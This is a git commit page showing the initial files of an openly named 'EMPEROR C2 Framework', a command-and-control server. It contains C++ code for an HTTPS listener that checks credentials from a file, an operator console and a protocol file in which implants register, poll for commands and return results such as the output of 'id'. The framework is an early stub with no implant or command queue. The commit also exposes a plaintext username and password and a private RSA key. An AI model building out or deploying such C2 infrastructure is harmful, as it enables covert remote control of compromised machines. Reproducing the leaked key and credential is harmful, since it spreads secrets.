Initial commit

This commit is contained in:
elimin8 2021-09-16 17:39:51 +01:00
commit 6724c4929e
No known key found for this signature in database
GPG Key ID: 0B92E083BBCCAA1E
6 changed files with 238 additions and 0 deletions

160
EmperorServer.cpp Executable file
View File

@ -0,0 +1,160 @@
#include <httpserver.hpp>
#include <iostream>
#include <fstream>
#include <vector>
#include <thread>
// GLOBALS
httpserver::webserver ws = httpserver::create_webserver(8665)
.use_ssl()
.https_mem_key("server.key")
.https_mem_cert("server.crt");
class command_and_control : public httpserver::http_resource
{
public:
std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
{
std::vector<std::vector<std::string>> sCreds;
std::vector<std::string> sUsernames;
std::vector<std::string> sPasswords;
std::fstream fCreds;
fCreds.open("creds", std::ios::in);
char ch;
bool bUsername = true;
std::string sUsername = "";
std::string sPassword = "";
while (true)
{
fCreds >> ch;
if (fCreds.eof())
{
sPasswords.push_back(sPassword);
break;
}
if (ch == ':')
{
bUsername = false;
fCreds >> ch;
sUsernames.push_back(sUsername);
sUsername = "";
}
if (ch == '\n')
{
bUsername = true;
fCreds >> ch;
sPasswords.push_back(sPassword);
sPassword = "";
}
if (bUsername)
{
sUsername += ch;
}
else
{
sPassword += ch;
}
}
sCreds.push_back(sUsernames);
sCreds.push_back(sPasswords);
return sCreds;
}
bool verifycreds(std::vector<std::vector<std::string>>sCreds, std::string sUsername, std::string sPassword)
{
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
{
if (sCreds[0][iUsernameIndex] == sUsername)
{
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
{
if (sCreds[1][iPasswordIndex] == sPassword)
{
return true;
}
}
}
}
return false;
}
std::vector<std::vector<std::string>>sCreds = retrievecreds("creds");
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request& req)
{
if (verifycreds(sCreds, req.get_user(), req.get_pass()))
{
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Authenticated"));
}
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
}
};
void startserver()
{
command_and_control c2;
ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
ws.start(false);
}
void prompt()
{
std::cout << "========== EMPEROR C2 Framework==========" << std::endl;
std::cout << R"( _____
,888888b.
.d888888888b
_..-'.`*'_,88888b
,'..-..`"ad88888888b.
``-. `*Y888888b.
\ `Y888888b.
: Y8888888b.
: Y88888888b.
| _,8ad88888888.
: .d88888888888888b.
\d888888888888888888
8888;'''`88888888888
888' Y8888888888
`Y8 :8888888888
|` '8888888888
| 8888888888
| 8888888888
| 8888888888
| ,888888888P
: ;888888888'
\ d88888888'
_.>, 888888P'
<,--''`.._>8888(
`>__...--' `''` )" << std::endl;
std::cout << "=========================================" << std::endl;
std::string command;
while (true)
{
std::cout << "[EMPEROR]>";
std::cin >> command;
if (command == "sessions")
{
std::cout << "No sessions currently active" << std::endl;
}
if (command == "q" || command == "quit" || command == "exit")
{
ws.stop();
break;
}
}
}
int main (int argc, char** argv)
{
startserver();
prompt();
return 0;
}

2
Makefile Executable file
View File

@ -0,0 +1,2 @@
default:
g++ EmperorServer.cpp -I /usr/local/include -L /usr/local/lib -lhttpserver -pthread -o EmperorServer

1
creds Executable file
View File

@ -0,0 +1 @@
Nanking-013332:yrPq4!ZUa[&C53.?$NWxzvK!CJF^',Q

31
protocol Executable file
View File

@ -0,0 +1,31 @@
CORE FEATURES
server <-- client
REGISTRATION
msg=ready&type=basic
OR
msg=ready&type=advanced
server --> client
ACKNOWLEDGE
user=(username of client)&msg=acknowledged
server <-- client
REQUEST COMMAND (RUNNING AT REGULAR INTERVALS)
msg=reqcmd
server --> client
RESPONSE WITH NO COMMAND IN QUEUE (RESPONSE TO PREVIOUS HTTP REQUEST)
msg=nocmd
server --> client
RESPONSE ISSUING COMMAND (RESPONSE TO PREVIOUS HTTP REQUEST)
run=id
server <-- client
RESULT
result=uid=1000(elimin8)
server --> client
ACKNOWLEDGE
user=(username of client)&msg=acknowledged

17
server.crt Executable file
View File

@ -0,0 +1,17 @@
-----BEGIN CERTIFICATE-----
MIICoTCCAYkCFBeBenslYFw0PCtfNzvrcXDPppWcMA0GCSqGSIb3DQEBCwUAMA0x
CzAJBgNVBAYTAlVTMB4XDTIxMDgyMjIxMjU1MloXDTI0MDIwODIxMjU1MlowDTEL
MAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr0kC3
bk3O4vpOP3d7qJLFwZHPmddAVh1eWsfv2AiEIAYzNmkoJY2XIInSXm28qKIjPVnD
punKujN/EKgiaCrrLOnf+OxqZFpqLc8CzRc99kNoecRDp+HGcNweFLqWm/Zrz84i
1wpj/973anoqUkLg04LwdEqfCrAljVS6IfLSw/ib9oOQN3C0dslTaFCD2T0pFUB/
gK6/nuidLJ+OJh+Gv0PjtZcno56yOruEA1UoGLYugskFZx0UdOIVqhSYjoMAbd3i
XPnfbet83lxaFx31fpXJh1SqyYS6u/eVqDVytRR4BcZO/YV6syPqPp4Mu2mqsXQg
AG4R2UWuOZFJSnBnAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAAUg0dBwyVd0ouCV
tP8fVWvpRjmOii8czHp1aNVko6XncAGb5QsfvNmwPhhZnInURjofPqXoH3kCk0s6
umK7Oyazc4gbtttESPsXVBQ0Lmb8QZIa40TeJ7d94f9SVO0J2TxtbSPICtrXQcOF
NqPWbgN7LoQvzKe3jjkIe+d6hRTxMwFD/rVQoseXi45uDmvpS7l2arAcIGsDXsLS
FvVaGnA8iDndPzmEZ4W4DcQRnhzDSfsTMthxaKxw+YgEBhC/j19b8csJj1+rD7l/
qC5VI8YRJ6dqD+IxMYcHs41rHobjNgpdyMJ3FykXxd/nweIpP6TzQ7D9buxudtkY
WThMA8c=
-----END CERTIFICATE-----

27
server.key Executable file
View File

@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAq9JAt25NzuL6Tj93e6iSxcGRz5nXQFYdXlrH79gIhCAGMzZp
KCWNlyCJ0l5tvKiiIz1Zw6bpyrozfxCoImgq6yzp3/jsamRaai3PAs0XPfZDaHnE
Q6fhxnDcHhS6lpv2a8/OItcKY//e92p6KlJC4NOC8HRKnwqwJY1UuiHy0sP4m/aD
kDdwtHbJU2hQg9k9KRVAf4Cuv57onSyfjiYfhr9D47WXJ6Oesjq7hANVKBi2LoLJ
BWcdFHTiFaoUmI6DAG3d4lz5323rfN5cWhcd9X6VyYdUqsmEurv3lag1crUUeAXG
Tv2FerMj6j6eDLtpqrF0IABuEdlFrjmRSUpwZwIDAQABAoIBADenhubjh7h3tPQb
gqw/UitUI9LG1f405pZleVWq+Dcz2E5GVZF3eIF3PK0zgQAW703S1XyWWCweXAfQ
cWWTsDM0/RxbGNjtYIv8Ao25uMmNNxBkQLpZarxIWkQ0GqwmII+TZAXM+cSiYKpr
ht6mfpssZ8FTKciSQbQoL0WLMYgrAh9bsvd4KTwLsNedwiG575plG8IF43HEjaGl
GIwF7uPtmDYwxGr2MXLBJlkpRzj3JpMOcXnJDqf+DcCorngRM96BoRHC3CwyRSz7
FKSQemPGvAwljN0+j1C1oIyC1SCQ1aOeQFQS5nbGF2kNJ9FO2dFA+aBN8OOr0Vm5
vKrYuSECgYEA20kJyBsp0eJsnWew8BzPwZXqfN9KVCYcgcxB7xMRytJ0El4N9yJw
lKaobOeyCV9WixrjnysqKtfePNaYWqZQUfUW75qbfKue0HvfLLVIkSCjtBxp0Oy8
qcbFJ8SNyfXcekxBIxtZ/AQXB9p3hoOw64L0grSnLLQXm+026Et8D20CgYEAyJbS
dnA9anrEBcXRZ3OUAbijuDQv66fuwHbfFfXdKNVUvi/sek0jpXUJfYS7zSHHC75T
CYe4YeU4dqnviTd3+097Z2nox6Uv/9rWW2Zr3g+9gbIc4BW0t6bFi6FnMf66VI7N
auE1hfhQyJJaA9MN7aHkRUpDMjMzr5J4t+PWVqMCgYEAsHGDkmTw8HXNSZZOk9XL
AYxcYl/U0gLce0BcaT8h2N4gEUtm10z541J6QS7pXYs9+q4HK2KzCkgqBS/y5TXf
eSLJcsAnjlgVcNHLUJEJs+TcdCdMqZRjdgR/TTFlmXTgE/PZkaMHc7XixinudOjv
6YC0t5sezOSX/poPzTg3ub0CgYEAiBzH7bSWCEYL8/ra8L8d5Nkcx2cqSVeoDBPd
p3Ixw36XRYMRjaAAm0rCyNij8zuDbLWWdTYSaON5IBSKRWtNUEwL6g2U9rxhyNT/
dgAXHBVEO9jX/TrdaW2SSQCaHPPEDpLkUy1E+4aXkrK0wDmcDu83DcmptUvHO9FB
d070Z88CgYBIonEr1GZQVsbf8FsDtyFsQBbXWTfd7ud7Kg0wx8ad75R8khwR2fQO
oX3RdS26J8M/8CY38ZG/QmNPHog6DMdDgAh99RxEJC0J0mIfZFg+gMObQ7MwL9L+
b6KRv9Qqbt8vrRiWGA2qH4Xcv4NzdycIVO1V+fv7cttutlQPwtxglg==
-----END RSA PRIVATE KEY-----